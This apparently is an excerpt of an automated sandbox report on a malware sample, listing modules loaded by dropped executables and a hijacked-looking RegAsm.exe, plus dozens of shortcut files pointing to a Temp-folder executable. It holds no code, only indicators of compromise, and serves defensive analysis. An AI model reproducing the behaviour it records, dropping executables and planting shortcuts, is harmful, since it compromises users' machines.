Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: version.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\EBGDHJECFC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8cd1ac26284943e6a48e3a21405f728e.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ffb693950192432088179fe25fd0f531.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a8d336e23ec14c28892bc3ac641ee9ce.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_70a416cd5b2c43ee8efc31478be68b37.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3dfb4f7048a742fb8385594f1219fce6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_92f7e448be834d759e73cb46c668011a.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_542d6fb4b7e24e44a4f274ae18e70266.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2b281f94a6da4509957d4eef4e6bfda6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ab2cdac6611847ea8a143f601e78aaff.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_806ac2d45d5d4d61a32871595a0c8bc0.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7f6a20923efc415d86b2aabbf2ff04a9.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4a559acfb31948e5a56cac55d6896e24.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8e9fcf0437cc4917963a2f129bac85f6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1e59107beb5f429faf5de1e8258b0a38.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5c442904acee4a5ba908e538689262d6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2f347956c6754f81bc051be0a4c0bb1b.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_13b73e127bdc44a5930c938fa1fc77e1.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c8a0ac06d84c4932976a633c0127b383.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a09e8b29d0b94ca6adffee53b1a4df39.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_bafc4a94acbc4ef393d61b2e14e0b2aa.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a8355d4b20d34289be110f352898fbf4.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_cfd6e741141644d3889916d0882a8b67.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_00ad15fe2f864b5b99bbc81d7541251f.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e6732c3d34c4434ab577f5e64b9359ff.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_df463de95cfc4ad6b1346b0de02f2218.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6b8e72b01b094ba19259621d725f793e.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1a8709e4167c4839b7d3f49e2c618bc7.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_936109fd0d50419ab5426be7c0d4f5d0.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f8c4a12a97944dfd8117f7d0308895a5.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e11bd1d4941146a39db31ec8567536fa.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ece8984ee16a465d8880fd6e6da94f1b.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fdc67670ff6a4b218ed0a69524016ef0.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c0133a9a266c474bb15d0b59916863bd.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ed285fff72364bada87ca04536afc6d4.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fbce3ab8ad844b3987c030e282dd30fa.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e20b84685af747ee80c613d4d97e7e0d.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4d5c968e54924feda01cd55a67afced6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_90f167aee40e475f9dd4262f691badac.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0c6462c6e24b4b43a78b2fc82968f9ee.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3d15bced02634f538db4ebcb21b20d42.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a3fa098697634d9ab04533a21a604762.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1d66a11277de4648ae88b2a3adc18f71.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4799d32c96864483a1e7fc31fc1f989a.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_96601eaaba1b459989c2abf8d14136cc.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d7677638331541c29d384b53f96550ee.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5e3cad065ecc4bc889594baa48ab907c.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d682292737b2404f98cb194cbf2d7a6c.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_682c9f35c053405d9c3e88346d744a81.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_58853713aeba4822bb2da71f7ba64889.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fd30e8814c1e478c99f0123a42860820.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c84a59c801344e36b1b454faf359f0ca.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
